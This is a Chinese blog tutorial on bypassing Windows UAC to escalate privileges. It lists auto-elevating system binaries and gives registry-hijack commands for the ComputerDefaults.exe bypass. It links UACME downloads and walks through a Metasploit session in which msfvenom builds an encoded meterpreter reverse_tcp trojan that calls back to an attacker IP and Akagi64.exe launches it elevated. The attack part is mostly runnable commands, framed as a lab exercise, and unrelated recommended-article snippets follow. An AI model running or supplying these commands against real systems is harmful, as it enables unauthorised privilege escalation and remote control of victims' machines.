UAC绕过提权_uac白名单 提权-程序员宅基地
UAC白名单
即不询问直接启动的应用，如 slui.exe、wusa.exe、taskmgr.exe、msra.exe、 eudcedit.exe、eventvwr.exe.、CompMgmtLauncher.exe、 rundll32.exe、 explorer.exe等
白名单程序特性：Manifest 数据中 autoElevate 属性的值为 True；可以用Sigcheck检测。
UAC绕过
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
找出所有具有autoElevate 属性的程序并定向输出到
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > 1.txt
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe使用进程监控器 process monitor 监控 ComputerDefaults.exe 进程的所有操作行为
添加注册表
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /freg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
工具
官网地址（下载慢）
国内地址（下载快）
https://download.csdn.net/download/m0_65554829/88547642
利用UACME提权
gethub地址：https://github.com/hfiref0x/UACME/releases/tag/v3.6.5
私人地址：直接下载链接https://dl-download.csdn.net/down11/20231117/f8e7781624a66d6da9f3aa87a9831e28.zip?Expires=1700230423&OSSAccessKeyId=STS.NTSjB9EvV4Wkv8XYapjniF2VB&Signature=jZr3NJnxc%2FyHFi9opG%2BI3ieHy4s%3D&response-content-disposition=attachment%3Bfilename%3D%22UACME-3.6.3%2520%25E5%25B7%25B2%25E7%25BC%2596%25E8%25AF%2591.zip%22&Date=1700230423&security-token=CAISgwJ1q6Ft5B2yfSjIr5fmIfiNqKl3g5WAdB7pvWElZuFFqff9oDz2IHxFf3FoCOEYv%2Fk1nWlU6%2FoTlqF%2FTIBDQUvNYZPPSiHRJFrzDbDasumZsJYw6vT8a1fxZjf%2F2MjNGaCbKPrWZvaqbX3diyZ32sGUXD6%2BXlujQ%2BDr6Zl8dYY4UxX6D1tBH8wEAgp5tI1gQhm3D%2Fu2NQPwiWf9FVdhvhEG6Vly8qOi2MaRmHG85R%2FYsrZJ%2FtuvecD%2FMJI3Z8kvC4uPsbYoJvab4kl58ANX8ap6tqtA9Arcs8uVa1sruEnXaLKMo4wxfVIjP%2FFmRvIVtprnieY9tuiWkJ%2Fs25qImF%2BBkY61GoABrSvSxqN%2BO2SKDSI3ekkKA1i9Da7Vb8LjUDMiDPrdLALwtIOSkNTZC0QoVf4%2B7g3mqTCNTJX%2BsdEFlZDDzBnZJwnYu4g4ITkhSgknKJexR0n6GcNjC6mme3257nISthAe2YDb4JJQcHsc5y5Xb0f8KwDe2l5lkhmhQk2JhT6g2AQgAA%3D%3D
工具介绍
UACME是一个专用于绕过Windows UAC的开源项目，目前已包含了70多种Bypass UAC的方法。
步骤
环境搭建
net user test1 /add
net localgroup administrators test1 /add
钓鱼绕过提权
#将MSF生成的payload.exe上传到目标服务器并运行payload.exe
msfconsole
#在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 8888
rungetuid
shell
chcp 65001
net user test1
#尝试添加用户#失败
net user test2 /add
upload ~/upgrade/UACME-3.6.3 c:/phpstudy_pro/WWW/pikachu/vul/rce/uac
#生成一个新木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.129 lport=7777 -i 3 -e x86/shikata_ga_nai -f exe -o 7777.exe
#上传木马
upload ~/7777.exe ./
upload ~/upgrade/Akagi64.exe ./
#进入shell
shell
chcp 65001
#另开一个终端设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 7777
run#运行木马
.\Akagi64.exe 33 .\7777.exe
akagi.exe [Key] [Param]#Key ，指定要使用的方法的编号#Param ，指定绕过 UAC 后要运行的程序或命令，默认启动一个关闭了 UAC 的 CMD 窗口
智能推荐
Leetcode __13. 罗马数字转整数_1227罗马数字-程序员宅基地
文章浏览阅读162次。问题描述罗马数字包含以下七种字符: I， V， X， L，C，D 和 M。字符 数值I 1V 5X 10L 50C 100D 500M 1000例如， 罗马数字 2 写做 II ，即为两个并列的..._1227罗马数字
Spring Cloud（六）配置中心（Spring Cloud Config）_本地运行config-prod.properties-程序员宅基地
文章浏览阅读241次。一、简介在分布式系统中，由于服务数量巨多，为了方便服务配置文件统一管理，实时更新，所以需要分布式配置中心组件。在Spring Cloud中，有分布式配置中心组件spring cloud config 。Spring Cloud Config就是我们通常意义上的配置中心。Spring Cloud Config-把应用原本放在本地文件的配置抽取出来放在中心服务器，本质是配置信息从本地迁移到云端。..._本地运行config-prod.properties
Linux常见基本指令合集及其效果展示_linux 展示-程序员宅基地
文章浏览阅读268次，点赞2次，收藏6次。首先先问大家一个问题：在磁盘上建一个空文件，这个文件会占据磁盘的储存空间吗？实践出真知，我们发现新建一个文本文档，它的大小是0kB，这时有小伙伴就会认为既然它的大小是0KB，那么它当然也就不会占用磁盘空间咯。然而真的是这样吗？我们打开这个文件的属性来一探究竟：我们发现系统不仅记录了这个空文件的大小，同时还有它的文件名、文件类型、所在位置、创建时间等信息，难道这些信息不要占用系统空间吗，当然要！一个空文件同样会占用系统空间文件 = 文件内容 + 属性路径的本质就是这颗多叉树的搜索路径。_linux 展示
iTOP-3588开发板快速启动手册Windows安装串口终端调试串口常见问题（二）_windows 调试串口-程序员宅基地
文章浏览阅读140次，点赞10次，收藏3次。问题二：非旺玖原装PL2303，请联系供货商或PL2303TA不支持WINDOWS11及后续版本问题。进设备管理器，找到端口COM，有问题会提示“非旺玖原装的PL2303，请联系您的供货商”。更多内容可以B站搜索迅为RK3588开发板；2.4.2 驱动问题。_windows 调试串口
python怎么输出_Python如何输出整数-程序员宅基地
文章浏览阅读7.7k次。Python输出整数的方法：先使用str()函数将数字转换成字符串赋值给变量i，再用“if i.count('.') == 0”语句判断字符串中是否没有小数点，如果是则输出这个字符串，这样输出的数字就都是整数了示例代码如下：x = [23.5, 45.6, 987, 698, 123, 654]for i in x:i = str(i)if i.count('.') == 0:print(I)执行..._python的print整数
js中好用的方法(复制剪贴板、时间转换、大数字单位转换)_js 粘贴板时间-程序员宅基地
文章浏览阅读146次。js中好用的工具方法复制内容到手机剪贴板：/** * 拷贝数据到剪贴板 */ public static CopyToClipBoard(str){ let copyDom = document.createElement("input"); // 获得需要复制的内容 copyDom.setAttribute("value",str); //不需要让他displaynone // copyDom._js 粘贴板时间
随便推点
EDM邮件群发的关键要素？如何高效地发信？-程序员宅基地
文章浏览阅读267次，点赞6次，收藏4次。EDM邮件群发虽然看似简单，但其中蕴含的要素却十分丰富。AokSend，依托强大API/SMTP接口，实现EDM邮件高效群发。精准触达，一键发送，让您的营销信息迅速覆盖目标客户，提升品牌影响力！
对话框未进入PreTranslateMessage函数-程序员宅基地
文章浏览阅读235次。定义了两个对话框CDlgParent和CDlgChild，CDlgChild已设置Child属性，CDlgParent未重定义PreTranslateMessage函数，在CDlgChild的PreTranslateMessage函数中设断点，未运用原因: 对话框均在动态库中定义，且为使用共享MFC DLL的规则DLL，此方式无法响应PreTranslateMessage消息，但应用程序可不使..._mfc pretranslatemessage 不进入
UI自动化测试之5大常见问题（建议收藏）(1)，2024年最新从青铜到王者的路线-程序员宅基地
文章浏览阅读722次，点赞10次，收藏19次。1）UFT即原来的QTP与ST合并而来，由HP公司开发，是一个企业级的商业自动化测试工具，提供了强大易用的录制回放功能，同时兼容对象识别模式与图像识别模式，支持B/S和C/S两种架构的软件测试；一款基于python语言编写的自动化测试框架工具，具备良好的扩展性，支持关键字驱动，支持多种类型的客户端和接口，可进行分布式测试；3）Selenium自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
Linux创建操作网桥的两种命令及持久化_bridge命令-程序员宅基地
文章浏览阅读1.4w次，点赞4次，收藏48次。1.基础介绍1.1 简述1.2 网桥配置命令及安装(CentOS系统)2. brctl和bridge命令建桥2.1 brctl命令说明及范式2.2 brctl场景使用2.3 bridge命令及范式3.ip命令建桥3.1 ip命令建桥说明4.桥的持久化1.基础介绍1.1 简述什么是网桥 网桥是一种在链路层实现中继，对帧进行转发的技术，根据MAC分区块，可隔离碰撞，将网络的多个网段在数据链路层连接起来的网络设备。它是Linux上用来做TCP/IP二层协议交._bridge命令
css3大全-程序员宅基地
文章浏览阅读153次。孔子曰：学而不思则罔，思而不学则殆。废话不多说，直接上。浅谈兼容css相较于js html来说，兼容性问题最不是事，CSS在最初设计时，就有一个协议：如果不能识别选择器属性，那么就默认不处理，不报错。这个也是CSS得以发展的非常重要的特征。下面是各个浏览器私有前缀：IE -ms-Chrome -webkit-Firefox -moz-Safari -webkit-..._css 文字后仰
Linux学习笔记 01 - Linux概况_linux 从哪个版本开始支持lvm-程序员宅基地
文章浏览阅读760次。一、操作系统的发展历程操作系统是用来=控制和管理系统资源、方便用户使用计算机的程序的集合，是人机交互的接口。大致包括5个方面的管理功能:进程与处理机管理、作业管理、存储管理、设备管理、文件管理。1. 服务器专用的 UNIX 操作系统UNIX 操作系统与1969年由美国贝尔实验室肯·汤普森（K.Thompson)和丹尼斯·麦卡利斯泰尔·里奇（D.M.Ritchie)开发完成，是真正意义上的多用户多任务操作系统。UNIX的商业版版本主要包括SUN公司（现被Oracle公司收购）的Solaris、IBM_linux 从哪个版本开始支持lvm